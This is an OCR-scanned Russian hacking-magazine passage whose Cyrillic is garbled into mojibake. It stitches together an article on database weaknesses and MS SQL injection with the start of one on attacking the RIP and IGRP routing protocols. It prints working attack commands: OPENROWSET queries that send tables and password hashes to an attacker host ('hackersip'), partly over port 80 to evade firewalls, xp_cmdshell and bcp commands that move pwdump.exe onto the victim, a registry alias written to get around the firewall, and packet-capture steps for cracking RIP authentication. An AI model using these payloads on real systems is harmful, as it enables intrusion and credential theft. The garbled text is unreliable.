íåâåðíî ððàçãðàíè÷åííûå ïïðàâà äîñòóïà ïîëü-
çîâàòåëåé ê òàáëèöàì áàçû ïîðîäÿò ñàìûå ðàçíûå
çëîóïîòðåáëåíèÿ — è ñëó÷àéíûå, è ïðåäíàìåðåí-
íûå. Ê ïðèìåðó, òàáëèöà ñ ðîëÿìè ïîëüçîâàòåëåé è
èäåíòèôèêàòîðàìè ýòèõ ðîëåé îêàçûâàåòñÿ äîñòóï-
íà ëþáîìó èç ïîëüçîâàòåëåé áàçû. Â õóäøåì ñëó-

÷àå ñòàíåò äîñòóïíûì åùå è âíåñåíèå èçìåíåíèé â
íåå. Òàêèì îáðàçîì, ïîëüçîâàòåëü ìîæåò çàìåíèòü
èäåíòèôèêàòîð äëÿ ñâîåãî èìåíè íà ñîîòâåòñòâóþ-
ùèé àäìèíèñòðàòîðñêîìó è ïîäêëþ÷èòüñÿ ê áàçå
äàííûõ óæå ñ ðàñøèðåííûìè ïîëíîìî÷èÿìè.

èìÿ/ïàðîëü ïïî óóìîë÷àíèþ. Ñåé÷àñ â êðèòè÷-
íûõ ÁÄ ïàðû èìÿ/ïàðîëü, îñòàâëåííûå ïî óìîë÷à-
íèþ, — ïî÷òè àòàâèçì. Íî â íå êðèòè÷íûõ ðåñóðñàõ
(à èíîãäà ïðîñòî â îñòàâëåííûõ áåç âíèìàíèÿ) ýòè
ïàðû ìîãóò ñîñëóæèòü ñâîþ ñëóæáó çëîóìûøëåííè-
êó: ïðîíèêàåøü âî âíóòðåííþþ ñåòü, çàòåì âûáèðà-
åøü êàê öåëü áîëåå ïðèâëåêàòåëüíûé ðåñóðñ â Ñåòè.

ïî óóìîë÷àíèþ ëëþáàÿ ÑÑÓÁÄ, êàê ïðàâèëî, çà-
ïóñêàåòñÿ êàê ëîêàëüíàÿ ñèñòåìà, îáëàäàþùàÿ ñè-
ñòåìíûìè ïðàâàìè. Çàïóñê ÑÓÁÄ ñ ïðàâàìè ëîêàëü-
íîé ñèñòåìû ìîæåò òàêæå ñðàáîòàòü êàê óÿçâèìîñòü.
Åñëè çëîóìûøëåííèê ïîäêëþ÷èòñÿ ê áàçå íàïðÿìóþ,
÷åðåç Enterprise Manager, SQLPlus èëè àíàëîãè÷-
íûå ñðåäñòâà, îí ïîëó÷èò â ÑÓÁÄ ñèñòåìíûå ïðàâà.

sql-èèíúåêöèè
SQL-èíúåêöèè ÷àñòî èñïîëüçóþòñÿ äëÿ òîãî, ÷òî-
áû âûóäèòü ëàêîìûå äëÿ êîãî-òî äàííûå èç áàçû
â îáõîä ìåæñåòåâîãî ýêðàíà ëèáî äëÿ ïðîíèêíî-
âåíèÿ âî âíóòðåííþþ ñåòü.

çàùèòà îîò SSQL-èèíúåêöèé ñåé÷àñ âñòðàèâàåò-
ñÿ â web-ïðèëîæåíèÿ â îáÿçàòåëüíîì ïîðÿäêå. Îä-
íàêî áëàãîäàðÿ òîìó, ÷òî âàðèàíòîâ ýòîé àòàêè âå-
ëèêîå ìíîæåñòâî, à ïðèëîæåíèÿ ìîãóò áûòü äîñòà-
òî÷íî ñëîæíûìè, îäíà ïðîïóùåííàÿ èíúåêöèÿ èìå-
åò øàíñû ñêîìïðîìåòèðîâàòü âñþ ñåòü. Äåéñòâè-
òåëüíî, îáåñïå÷èòü íàäåæíóþ çàùèòó îò ýòîãî âèäà

àòàê — íåðåøåííàÿ ïðîáëåìà. Íåêîòîðûå àäìèíè-
ñòðàòîðû ÁÄ ñ÷èòàþò, ÷òî íèêàêàÿ SQL-èíúåêöèÿ
íå óãðîæàåò èì, ïîòîìó ÷òî îíè èñïîëüçóþò õðàíè-
ìûå ïðîöåäóðû è ìàñêèðóþò ñîîáùåíèå îá îøèá-
êå, êîòîðîå âûäàåò áðàóçåð. Äà, äåéñòâèòåëüíî ïî-
ìîãàåò, íî, ê ñîæàëåíèþ, äàëåêî íå âñåãäà.

SQL-èèíúåêöèè ííà ïïðèìåðå MMS SSQL. Ïûòàÿñü
ïðèìåíèòü SQL-èíúåêöèþ ïðîòèâ íóæíîãî ñåðâåðà
ÁÄ, àòàêóþùèé äîëæåí ïðîâåðèòü, ïîäâåðæåí ëè
ñåðâåð ÁÄ âûáðàííîìó âèäó àòàêè. Äëÿ ýòîãî ìîæíî
èñïîëüçîâàòü îäíó èç âñòðîåííûõ ôóíêöèé SQL-ñåð-
âåðà: OPENROWSET èëè OPENDATASOURCE (ïðè-
ìåíÿåòñÿ äëÿ ïîäêëþ÷åíèÿ ê OLEDB-ïðîâàéäåðó;
â ïðèìåðàõ èñïîëüçóåòñÿ ôóíêöèÿ OPENROWSET,
íî ïîäîéäåò è OPENDATASOURCE).
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ïðè ïïîìîùè òòàêîãî ççàïðîñà ììîæíî ññêîïèðîâàòü
âñå ïïîëÿ èèç òòàáëèöû
select * from

OPENROWSET( 'SQLoledb',

'server=servername;uid=sa;pwd=h8ck3r',

'select * from table1' )

óòî÷íåííûé ççàïðîñ, ññðàçó óóêàçûâàþùèé IIP-ààäðåñ
è ïïîðò, êê êêîòîðîìó ííóæíî ïïîäêëþ÷èòüñÿ
select * from

OPENROWSET('SQLoledb',

'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;

Address=10.0.0.10,1433;',

'select * from table' )

Â ïðèìåðå SQL Server èñïîëüçóåò OLEDB-ïðîâàé-
äåðà SQLoledb, ÷òîáû âûïîëíèòü çàïðîñ. OLEDB-
ïðîâàéäåð ïîëüçóåòñÿ áèáëèîòåêîé SQL Server
sockets (DBMSSOCN) äëÿ ïîäêëþ÷åíèÿ ê ïîðòó
1433 íà IP-àäðåñ 10.0.0.10 è âîçâðàùàåò ðåçóëüòàò
çàïðîñà íà SQL-ñåðâåð.

OPENROWSET èñïîëüçóþò íå òîëüêî äëÿ
âûïîëíåíèÿ çàïðîñîâ òèïà SELECT, íî è äëÿ äî-
áàâëåíèÿ-óäàëåíèÿ èíôîðìàöèè èç òàáëèö ïðè ïî-
ìîùè çàïðîñîâ UPDATE, INSERT è DELETE. Ìà-
íèïóëèðîâàíèå äàííûìè íà óäàëåííûõ èñòî÷íèêàõ
äàííûõ ïðèìåíèìî òîëüêî â òîì ñëó÷àå, åñëè
OLEDB-ïðîâàéäåð ïîääåðæèâàåò äàííûé ôóíê-
öèîíàë. Ïðîâàéäåð SQLOLEDB ïîääåðæèâàåò âñå
ýòè ôóíêöèè.

ïðèìåð ääîáàâëåíèÿ ääàííûõ
insert into

OPENROWSET('SQLoledb',

'server=servername;uid=sa;pwd=h8ck3r',

'select * from table1')

select * from table2

Âñå ñòðîêè èç òàáëèöû 2 íà ëîêàëüíîì SQL-ñåðâå-
ðå äîáàâëÿþòñÿ â òàáëèöó 1 íà óäàëåííîì èñòî÷íè-
êå äàííûõ. Äëÿ òîãî ÷òîáû çàïðîñ âûïîëíèëñÿ êîð-
ðåêòíî, îáå òàáëèöû äîëæíû èìåòü îäèíàêîâóþ
ñòðóêòóðó: îäèíàêîâîå êîëè÷åñòâî ñòîëáöîâ è
ñòðîê, à òàêæå èìåíà ñòîëáöîâ.

ïðèìåð èèëëþñòðèðóåò ïïîëó÷åíèå ññïèñêà ëëîãèíîâ èè
õýøèðîâàííûõ ïïàðîëåé
insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;

Address=hackersip,1433;',

'select * from _sysxlogins')

select * from database.dbo.sysxlogins

Åñëè ìåæñåòåâîé ýêðàí ñêîíôèãóðèðîâàí òàê,
÷òîáû áëîêèðîâàòü âñå èñõîäÿùèå ïîäêëþ÷åíèÿ ê
SQL-ñåðâåðó, çëîóìûøëåííèê ïîáåäèò è ýòî îãðà-
íè÷åíèå — ïîäáåðåò ñîîòâåòñòâóþùóþ òåõíèêó.
Äëÿ ïåðåäà÷è äàííûõ îí ìîæåò èñïîëüçîâàòü 80
ïîðò, áëàãîäàðÿ êîòîðîìó çàìàñêèðóåò ïåðåäà÷ó
äàííûõ ïîä http-òðàôèê.

ìàñêèðîâêà ïïåðåäà÷è ääàííûõ ïïîä hhttp-òòðàôèê
insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=h8ck3r;Network=DBMSSOCN;

Address=hackersip,80;',

'select * from table1')

select * from table1

Åñëè âíåøíèå ïîäêëþ÷åíèÿ ïî 80 ïîðòó îïÿòü æå
áëîêèðóþòñÿ ìåæñåòåâûì ýêðàíîì, çëîäåé âîçü-
ìåòñÿ ïåðåáèðàòü ïîðòû, ïîêà íå íàéäåòñÿ òàêîé,
ïîäêëþ÷åíèå ê êîòîðîìó íå áóäåò áëîêèðîâàíî.

ñ ïïîìîùüþ SSQL-èèíúåêöèé ììîæíî ççàãðóæàòü ôôàéëû
bulk insert AttackerTable

from 'pwdump.exe'

with (codepage='RAW')

The binary can then be downloaded to 

the victim server from the attacker’s 

server by running the

following SQL statement on the victim 

server:

exec xp_cmdshell 'bcp «select * from 

AttackerTable» queryout pwdump.exe -c -

Craw -Shackersip -Usa -Ph8ck3r'

çàïðîñ ääëÿ îîáõîäà ììåæñåòåâîé ççàùèòû
exec xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWARE\Micro-

soft\MSSQLServer\Client\ConnectTo','Hacke

rSrvAlias','REG_SZ','DBMSSOCN,

hackersip,80'

and then:

exec xp_cmdshell 'bcp «select * from 

AttackerTable» queryout pwdump.exe -c -

Craw -SHackerSrvAlias -Usa -Ph8ck3r'

Ñóùåñòâóþò òàêæå òåõíèêè, ïîçâîëÿþùèå ïðîíè-
êàòü âî âíóòðåííþþ ñåòü ëèáî ïðîíèêàòü ñ îäíîãî
ñåðâåðà ÁÄ íà äðóãîé, âãëóáü ñåòè, â ïîèñêàõ äàí-
íûõ, èíòåðåñíûõ õàêåðó.

ïðèâåäåííûå ïïðèìåðû êàñàëèñü SQL-èíúåê-
öèé äëÿ ÁÄ Microsoft SQL. Íå äóìàé, ÷òî ýòè ñåð-
âåðû áàç äàííûõ ïîäâåðæåíû òàêîìó òèïó àòàêè
îñîáåííî. Ïîõîæèå ñðåäñòâà äëÿ ðåàëèçàöèè SQL-
èíúåêöèé åñòü è â Oracle, è â ëþáîé äðóãîé áàçå
äàííûõ. Òèï áàçû íå èìååò íèêàêîãî çíà÷åíèÿ — 
â íèõ èñïîëüçóåòñÿ åäèíûé ÿçûê çàïðîñîâ 

êêààêê ççààùùèèòòèèòòüüññÿÿ
— ÈÑÏÎËÜÇÎÂÀÒÜ ÑÒÀÍÄÀÐÒÍÛÅ ÏÀÐÀ-
ÌÅÒÐÛ ÄËß ËÞÁÎÃÎ ÂÈÄÀ ÇÀÏÐÎÑÀ;

— ÔÈËÜÒÐÎÂÀÒÜ ÏÎËÜÇÎÂÀÒÅËÜÑÊÈÉ
ÂÂÎÄ ÍÀ ÍÀËÈ×ÈÅ ÑÏÅÖÈÀËÜÍÛÕ 
ÑÈÌÂÎËÎÂ;

— ÈÑÏÎËÜÇÎÂÀÒÜ ÕÐÀÍÈÌÛÅ 
ÏÐÎÖÅÄÓÐÛ;

— ÈÑÏÎËÜÇÎÂÀÒÜ ÄÎÏÎËÍÈÒÅËÜÍÛÅ
ÏÐÎÃÐÀÌÌÍÛÅ ÑÐÅÄÑÒÂÀ, ÏÎÇÂÎËßÞ-
ÙÈÅ ÎÁÍÀÐÓÆÈÂÀÒÜ ÝÒÎÒ ÂÈÄ ÀÒÀÊÈ;

— ÏÎ ÂÎÇÌÎÆÍÎÑÒÈ ÍÅ ÐÀÇÐÅØÀÒÜ
ÌÍÎÆÅÑÒÂÅÍÍÛÅ ÇÀÏÐÎÑÛ.

IPàäðåñ àòàêóþùåãî

IP àäðåñ àòàêóåìîãî õîñòà

ñëóøàåì
ïîðò, ãäå 
ñëóøàåì

íîìåð ïîðòà
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èñõîäíûå ääàííûå
Ïðåæäå ÷åì ïåðåõîäèòü ê òåìå âçëîìà, ðàññìîò-
ðèì íåñêîëüêî ñèòóàöèé, â êîòîðûõ àòàêóþùèé
ìîæåò ïðèìåíèòü äàííûå ìåòîäû.

öåëè
ñèòóàöèÿ 11 — åñòåñòâåííî, âçëîì îäíîãî èç

ïîãðàíè÷íûõ ìàðøðóòèçàòîðîâ ñåòè ÷åðåç èíòåð-
íåò. Èíñòðóìåíòàðèé äëÿ ïðîäâèæåíèÿ âçëîìà, êî-
òîðûé íàõîäèòñÿ â ðóêàõ ó íàïàäàþùåãî, äîñòà-
òî÷íî îãðàíè÷åí, â ïåðâóþ î÷åðåäü åãî îãðàíè÷è-
âàþò âîçìîæíîñòè ñàìîé ñèñòåìû, áóäü òî ìàðø-
ðóòèçàòîð íà Linux/BSD èëè Cisco. Ïåðâûé âàðè-
àíò — ñàìûé âûãîäíûé äëÿ àòàêóþùåãî, òàê êàê
ïîçâîëÿåò çàäåéñòâîâàòü âî âçëîìå ìíîæåñòâî
óòèëèò è ñäåëàòü ñêîìïðîìåòèðîâàííóþ ìàøèíó
áàñòèîíîì äëÿ àòàêè. Âî âòîðîì ñëó÷àå õàêåð îã-
ðàíè÷åí íàáîðîì êîìàíä IOS è äîëæåí èñêàòü àëü-
òåðíàòèâíûå ïóòè, â îñíîâíîì ÷åðåç îòêðûòèå êà-
íàëîâ äîñòóïà âî âíóòðåííþþ ñåòü ñ ìàøèíû àòà-
êóþùåãî èëè âíåøíåå òóííåëèðîâàíèå òðàôèêà
÷åðåç GRE-òóííåëè.

ñèòóàöèÿ 22 — èñïîëüçóåòñÿ ëîêàëüíîå ïîäê-
ëþ÷åíèå â êîììóòàòîð. Ê ïðèìåðó, «îáèæåííûé»
ñîòðóäíèê êîìïàíèè, ìó÷èìûé ëè÷íûìè èíòåðåñà-
ìè, âûíàøèâàåò â ñåáå ìûñëü î âçëîìå ëîêàëüíîé
ñåòè, èìååò äëÿ ýòîãî äîñòàòî÷íî îïûòà è â êîíöå
êîíöîâ ðåøàåòñÿ. Îêîëî 70% âñåõ âçëîìîâ ñîâåð-

øàþòñÿ èçíóòðè êîìïàíèé, òî åñòü ñèòóàöèÿ ñ îáè-
æåííûì òðóæåíèêîì — ñîâñåì íå èñêëþ÷åíèå èç
ïðàâèëà. Åñëè åùå âñïîìíèòü î ðàçâèòèè áåñïðî-
âîäíîé ñâÿçè, òî âîçìîæåí è òàêîé âçëîì: àòàêóþ-
ùèé âçëàìûâàåò ëîêàëêó èëè ïîäñîåäèíÿåòñÿ ê
íåé ÷åðåç áåñïðîâîäíîé øëþç, íåïðàâèëüíî ñêîí-
ôèãóðèðîâàííûé êåì-òî, èëè óñòàíàâëèâàåò
ñîáñòâåííóþ òî÷êó äîñòóïà, ïîäêëþ÷åííóþ ê ëî-
êàëüíîé ñåòè.

ìåòîä èèññëåäîâàíèÿ
Íàñòóïèë ìîìåíò, êîãäà â ðóòîâîì ïîä÷èíåíèè
îêàçàëàñü ìàøèíà ñ ÎÑ Linux, ïîäñîåäèíåííàÿ ê
ËÂÑ. È ÷òî äåëàòü? Íå ñòîèò ì÷àòüñÿ íàïðîëîì, íå
íóæíî îïóñêàòüñÿ äî áàíàëüíîãî ïàðàëëåëüíîãî
ïîäáîðà àäìèíèñòðàòîðñêîãî ëîãèíà íà öåíòðàëü-
íîì ñåðâåðå. Êîëè÷åñòâî çàïèñåé íà ëîã-ñåðâåðå
êîãî-íèáóäü ñìóòèò, è, ñêîðåå âñåãî, òåáÿ áûñòðî
âû÷èñëÿò è «çàêðîþò». Åñëè íå çàòî÷àò â ìåñòà íå
ñòîëü îòäàëåííûå, òî, êàê ìèíèìóì, ïðîãîíÿò
ñî âçëîìàííîé ìàøèíû.

Êàê ïðàâèëî, ñèñòåìíûå àäìèíèñòðàòîðû
áäÿò çàùèùåííîñòü ëîêàëüíîé ñåòè ãîðàçäî ìåíü-
øå, ÷åì çàùèùåííîñòü ìàøèí, íåïîñðåäñòâåííî
êîíòàêòèðóþùèõ ñ èíòåðíåòîì. Òàêèå àäìèíû
íåìíîãî îáëåã÷àþò òâîþ çàäà÷ó: áîëåå-ìåíåå ëåã-
êî (â çàâèñèìîñòè îò òîïîëîãèè ñåòè, òèïà èñïîëü-
çóåìîãî îáîðóäîâàíèÿ è êîëè÷åñòâà õîñòîâ) òû
ñìîæåøü îáíàðóæèòü èíôîðìàöèþ, êîòîðàÿ îáè-

òàåò â ñåòè è ïðèãîäèòñÿ â äîáûâàíèè äîñòóïà ê
äðóãèì ìàøèíàì, ê ïîëüçîâàòåëüñêèì àêêàóíòàì
è ê èíòåðåñíûì òåáå äàííûì.

òåîðèÿ
RIP — ñàìûé ñòàðûé ïðîòîêîë ìàðøðóòèçà-

öèè. Äî ñèõ ïîð èñïîëüçóåòñÿ ÷àñòî, â îñíîâíîì
áëàãîäàðÿ òîìó, ÷òî ïîíèìàòü è êîíôèãóðèðî-
âàòü åãî ëåãêî. Íà äàííûé ìîìåíò ñàìàÿ ðàñïðî-
ñòðàíåííàÿ âåðñèÿ ïðîòîêîëà — âòîðàÿ. Ñðåäè
âñåõ åå íîâîââåäåíèé è ïðåëåñòåé — ïîääåðæêà
àóòåíòèôèêàöèè äðóãèõ ìàðøðóòèçàòîðîâ, ó÷àñò-
âóþùèõ â äîìåíå ìàðøðóòèçàöèè, ìàñîê ïîäñåòè
ïðîèçâîëüíîé äëèíû. Òàêæå ðàäóåò, ÷òî âî âòî-
ðîé âåðñèè ó÷èòûâàåòñÿ çàäàííàÿ ïîëîñà ïðî-
ïóñêàíèÿ äëÿ óñòàíîâëåíèÿ ìåòðèêè ïóòè. Ñðåäè
íåäîñòàòêîâ îòìå÷ó âûñîêîå âðåìÿ êîíâåðãåí-
öèè, ïðîáëåìó ìàñøòàáèðîâàíèÿ è îãðàíè÷åíèå
äëèíû ìàðøðóòà 15-þ óçëàìè. Äëÿ îáìåíà äàí-
íûìè èñïîëüçóåòñÿ ìíîãîàäðåñíàÿ ðàññûëêà ïî
àäðåñó 224.0.0.9.

IGRP — ïðîòîêîë ìàðøðóòèçàöèè, ðàçðàáî-
òàííûé è çàïàòåíòîâàííûé Cisco. Äî ïîÿâëåíèÿ åãî
ìîäèôèöèðîâàííîé âåðñèè (EIGRP) ñ÷èòàëñÿ ëó÷-
øèì ïðîòîêîëîì, â êîòîðîì èñïîëüçóåòñÿ àëãîðèòì
ïî âåêòîðó ðàññòîÿíèÿ. Èç íåäîñòàòêîâ îòìå÷ó íå-
âîçìîæíîñòü àóòåíòèôèêàöèè, îòñóòñòâèå ïîääå-
ðæêè ìàñîê ïðîèçâîëüíîé äëèííû è ïåðåñûëêó
âñåé òàáëèöû ìàðøðóòèçàöèè. Èç ïðåèìóùåñòâ —

ëëààááîîððààòòîîððííààÿÿ 
ððààááîîòòàà
ÀÒÀÊÀ ÍÀ RIP È IGRP
ÎÄÍÈÌ ÈÇ ÊËÞ×ÅÂÛÕ ÌÎÌÅÍÒÎÂ ÂÇËÎ-
ÌÀ ÑÅÒÅÉ, ÎÑÎÁÅÍÍÎ ËÎÊÀËÜÍÛÕ, ßÂ-
ËßÅÒÑß ÏÅÐÅÕÂÀÒ ÒÐÀÔÈÊÀ, ÈÑÏÎËÜÇÓ-
ÞÙÈÉ ÓßÇÂÈÌÎÑÒÈ Â ÄÈÍÀÌÈ×ÅÑÊÈÕ
ÏÐÎÒÎÊÎËÀÕ ÌÀÐØÐÓÒÈÇÀÖÈÈ. ÏÎÏÛ-
ÒÀÅÌÑß ÐÀÇÎÁÐÀÒÜÑß, ÊÀÊ ÝÒÎ ÏÐÎÈÑ-
ÕÎÄÈÒ Â ÑÅÒßÕ, ÒÀÊÈÕ ÊÀÊ RIP È IGRP, 
Â ÊÎÒÎÐÛÕ ÈÑÏÎËÜÇÓÅÒÑß ÀËÃÎÐÈÒÌ
ÌÀÐØÐÓÒÈÇÀÖÈÈ ÏÎ ÂÅÊÒÎÐÓ ÐÀÑÑÒÎ-
ßÍÈß |ÊÎÍÑÒÀÍÒÈÍ ÃÀÂÐÈËÅÍÊÎ (KOS@ARHONT.COM)
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áûñòðîå âðåìÿ êîíâåðãåíöèè, ñîñòàâíóþ ìåòðèêó
ìàðøðóòà, êîòîðàÿ èñïîëüçóåò ôàêòîðû çàãðóæåí-
íîñòè êàíàëà, ëàòåíòíîñòü, è ïðî÷. Ðàññûëêà ïðîèñ-
õîäèò ïóòåì îòñûëêè ïàêåòîâ îáíîâëåíèé íà øèðî-
êîâåùàòåëüíûé àäðåñ 255.255.255.255. IGRP-ïðî-
òîêîëó ïðèñâîåí ïîðÿäêîâûé íîìåð 9.

êëàññèôèêàöèÿ òòèïîâ ààòàê ííà ïïðîòîêîëû
ìàðøðóòèçàöèè. Àòàêè íà ïðîòîêîëû ìàðøðóòèçà-
öèè ìîæíî ðàçäåëèòü íà òðè âèäà:

1 ÈÑÏÎËÜÇÓÅÒÑß ÂÇËÎÌÀÍÍÛÉ 
ÌÀÐØÐÓÒÈÇÀÒÎÐ (ÑÀÌÛÉ ÁÛÑÒÐÛÉ 
È ËÅÃÊÈÉ ÏÓÒÜ ÈÇÌÅÍÅÍÈß ÌÀÐØÐÓ-
ÒÎÂ). ÀÒÀÊÓÞÙÈÉ ÏÎËÓ×ÀÅÒ ÏÎËÍÛÉ
ÈËÈ ×ÀÑÒÈ×ÍÛÉ ÄÎÑÒÓÏ Ê ÌÀÐØÐÓ-
ÒÈÇÀÒÎÐÓ.

2 ÈÑÏÎËÜÇÓÅÒÑß ÏÈÐÀÒÑÊÈÉ ÌÀÐØÐÓ-
ÒÈÇÀÒÎÐ. ÒÈÏÈ×ÍÛÉ ÏÐÈÌÅÐ: ÓÑÒÀ-
ÍÀÂËÈÂÀÞÒ ÎÄÈÍ ÈÇ ÏÀÊÅÒÎÂ ÌÀÐØ-
ÐÓÒÈÇÀÖÈÈ, ÏÎÄÊËÞ×ÀÞÒÑß Ê ÄÎÌÅ-
ÍÓ ÌÀÐØÐÓÒÈÇÀÖÈÈ È ÎÏÎÂÅÙÀÞÒ
ÑÎÑÅÄÅÉ Î ÍÎÂÛÕ ÌÀÐØÐÓÒÀÕ.

3 ÈÑÏÎËÜÇÓÅÒÑß ÇÀÌÀÑÊÈÐÎÂÀÍÍÛÉ
ÌÀÐØÐÓÒÈÇÀÒÎÐ, ×ÒÎ, ÊÀÊ ÏÐÀÂÈËÎ,
ÍÓÆÍÎ ×ÒÎÁÛ ÏÎÄÌÅÍÈÒÜ ÀÄÐÅÑ ÏÎ-
ÑÛËÀÞÙÅÃÎ ÍÀ ËÅÃÈÒÈÌÍÛÉ, ÒÎ ÅÑÒÜ
×ÒÎÁÛ ÎÁÎÉÒÈ ËÈÑÒÛ ÊÎÍÒÐÎËß, ÓÑ-
ÒÀÍÎÂËÅÍÍÛÅ ÑÈÑÒÅÌÍÛÌ ÀÄÌÈÍÈ-
ÑÒÐÀÒÎÐÎÌ ÍÀ ÊÎÍÊÐÅÒÍÎÌ ÌÀÐØÐÓ-
ÒÈÇÀÒÎÐÅ.

Êàêîé áû âèä àòàêè íè áûë âûáðàí, öåëü çëîó-
ìûøëåííèêà âñåãäà îäíà è òà æå — èçìåíèòü òàá-
ëèöû ìàðøðóòèçàöèè ïî ñâîåìó óñìîòðåíèþ, ðàäè
÷åãî èäåò ïî îäíîìó èç ÷åòûðåõ ïóòåé (ïî êàêîìó
èìåííî, ïîäñêàæåò ñèòóàöèÿ):

— ÈÇÌÅÍÈÒÜ ÌÅÒÐÈÊÓ ÌÀÐØÐÓÒÀ ÍÀ
ÌÅÍÜØÅÅ ÇÍÀ×ÅÍÈÅ. ÏÐÈ ÂÛÁÎÐÅ
ÌÀÐØÐÓÒÀ ÏÐÅÄÏÎ×ÒÅÍÈÅ ÎÒÄÀÅÒÑß
ÌÀÐØÐÓÒÓ Ñ ÌÅÍÜØÅÉ ÌÅÒÐÈÊÎÉ.

— ÈÇÌÅÍÈÒÜ ÎÏÎÂÅÙÀÅÌÓÞ ÌÀÑÊÓ
ÌÀÐØÐÓÒÀ ÍÀ ÁÎËÅÅ ÑÏÅÖÈÔÈ×ÍÓÞ.
ÍÀÏÐÈÌÅÐ, ÌÀÑÊÀ 255.255.255.255 ÁÓ-
ÄÅÒ ÏÐÅÄÏÎ×ÒÅÍÀ ÌÀÑÊÅ
255.255.255.128, ÊÎÒÎÐÀß, Â ÑÂÎÞ Î×Å-
ÐÅÄÜ, ÁÓÄÅÒ ÏÐÅÄÏÎ×ÒÅÍÀ ÌÀÑÊÅ
255.255.255.0.

— ÈÇÌÅÍÈÒÜ ÏÎËÈÒÈÊÓ ÌÀÐØÐÓÒÈÇÀ-
ÖÈÈ, ÏÅÐÅÐÀÑÏÐÅÄÅËÈÒÜ ÌÀÐØÐÓÒÛ
ÈËÈ ÀÄÌÈÍÈÑÒÐÀÒÈÂÍÓÞ ÄÈÑÒÀÍÖÈÞ
(ÍÀ ÏÐÀÊÒÈÊÅ ÒÀÊÎÅ ÒÂÎÐßÒ ÐÅÄÊÎ,
ÒÀÊ ÊÀÊ ÒÐÅÁÓÅÒÑß ÂÎÇÌÎÆÍÎÑÒÜ
ÈÇÌÅÍßÒÜ ÊÎÍÔÈÃÓÐÀÖÈÞ ÌÀÐØÐÓÒÈ-
ÇÀÒÎÐÀ, ×ÒÎ ÑËÎÆÍÎ).

— ÀÒÀÊÎÂÀÒÜ ÎÒÊÀÇ Â ÎÁÑËÓÆÈÂÀÍÈÈ,
×ÒÎÁÛ ÓÄÀËÈÒÜ ÎÏÎÂÅÙÅÍÈÅ Î
ÌÀÐØÐÓÒÅ, ÇÀÒÅÌ ÎÏÎÂÅÑÒÈÒÜ ÄÎÌÅÍ
Î ÏÐÎÕÎÆÄÅÍÈÈ ÌÀÐØÐÓÒÀ ×ÅÐÅÇ
ÑÎÁÑÒÂÅÍÍÛÉ ÌÀÐØÐÓÒÈÇÀÒÎÐ.

èíñòðóìåíòû
Îáû÷íî ïîä ðóêîé àäìèíèñòðàòîðà ñåòè è àòàêóþ-
ùåãî ëåæèò tcpdump — èõ ëó÷øèé èíñòðóìåíò. Âîç-
ìîæíî, áîëåå ïðîäâèíóòûå ëþäè ïîçîâóò íà ïî-
ìîùü ñåáå tethereal — ÷àñòü ïàêåòà ethereal, êîòî-
ðàÿ óìååò îòîáðàæàòü áîëåå äåòàëüíóþ èíôîðìà-
öèþ èç ïàêåòà. Îäíàêî íàøè íóæäû äîñòàòî÷íî
ñêðîìíû, ïîýòîìó âïîëíå îáîéäåìñÿ è tcpdump’îì.

Äëÿ ïîñûëêè ïðîèçâîëüíûõ çàïðîñîâ ìîæíî
èñïîëüçîâàòü ñïåöèàëüíóþ óòèëèòó rprobe (www.packet-

stormsecurity.org/groups/horizon/rprobe.c) èëè ãåíåðàòîð
ïðîèçâîëüíûõ ïàêåòîâ òèïà sendip (www.earth.li/pro-

jectpurple/progs/sendip.html).
Âûáèðàé èíñòðóìåíò ïî æåëàíèþ, êîíêðåò-

íîé ñèòóàöèè è â çàâèñèìîñòè îò âðåìåíè, êîòîðîå
ïîòðàòèøü íà êîìïèëÿöèþ, èëè êîìïèëèðóåìîñòè
óòèëèòû íà êîíêðåòíîé ñèñòåìå. Ìû áóäåì èñïîëü-
çîâàòü sendip. Íåîïûòíûé õàêåð, íå çíàêîìûé ñ
«âíóòðåííîñòÿìè» TCP/IP, ïîíà÷àëó áóäåò îøå-
ëîìëåí âîçìîæíûì êîëè÷åñòâîì åå îïöèé. Íè÷å-
ãî. Ïî÷èòàé äåòàëè â äîêóìåíòàöèè — è âñå âñòà-
íåò íà ñâîè ìåñòà, ê òîìó æå áîëüøèíñòâî çíà÷å-
íèé ìîæíî îñòàâëÿòü ïî óìîë÷àíèþ.

Îäíî èç ñàìûõ ïîïóëÿðíûõ ñðåäñòâ äëÿ
âçëîìà ïàðîëÿ àóòåíòèôèêàöèè MD5 â RIP-ïàêå-
òàõ — ýòî Cain&Abel (C&A). Îäíàêî äëÿ âçëîìà íó-
æåí íå òîëüêî õýø, íî è îñòàëüíûå äàííûå, íàõî-
äÿùèåñÿ â ïàêåòå, ÷òî, ñîîòâåòñòâåííî, ñîçäàåò
ãëàâíóþ ïðîáëåìó àòàêóþùåãî. Îäíàêî âíîâü íå
îò÷àèâàåìñÿ, òàê êàê ðåøåíèå ýëåìåíòàðíî: çàïè-



ñûâàåøü íóæíûé ïàêåò â pcap-ôîðìàò, ïåðåíî-
ñèøü åãî â ëîêàëüíóþ ñåòü è çàòåì ïðîèãðûâàåøü
óòèëèòîé tcpreplay (http://tcpreplay.sourceforge.net).

ñîõðàíåíèå RRIP-ïïàêåòà
arhontus / # tcpdump -n -i eth0 host 

192.168.66.35 and port 520 -s 0 -w 

/tmp/ripauth.pcap

ïðîèãðûâàåì RRIP-ïïàêåò ííà ëëîêàëüíîé ììàøèíå,
÷òîáû ååãî ïïîéìàë CC&A
arhontus / # tcpreplay -i eth0 

/tmp/ripauth.pcap

×òîáû C&A ðàáîòàë ïðàâèëüíî, èíòåðôåéñ äîë-
æåí íàõîäèòüñÿ â ðåæèìå ïðîñëóøèâàíèÿ. Ïîñëå
íàõîæäåíèÿ RIP-ïàêåòà îí ïåðåíîñèòñÿ â îêíî
âçëîìà è íà÷èíàåòñÿ àòàêà ïóòåì ïåðåáîðà èëè ïî
ñëîâàðþ. Ïðàâèëà ñòàíäàðòíîãî ïåðåáîðà ðàáîòà-
þò, íî äåéñòâèòåëüíî äëèííûå è ñëîæíûå ïàðîëè
òû íå ðàñêóñèøü, åñëè òîëüêî íå áóäåøü èìåòü äå-
ëî ñ ïîäêîíòðîëüíûì ñóïåðêîìïüþòåðîì èëè
ñåòüþ äëÿ ðàñïðåäåëåííûõ âû÷èñëåíèé.

ïîäãîòîâêà
ýêñïåðèìåíòàëüíîé
óñòàíîâêè

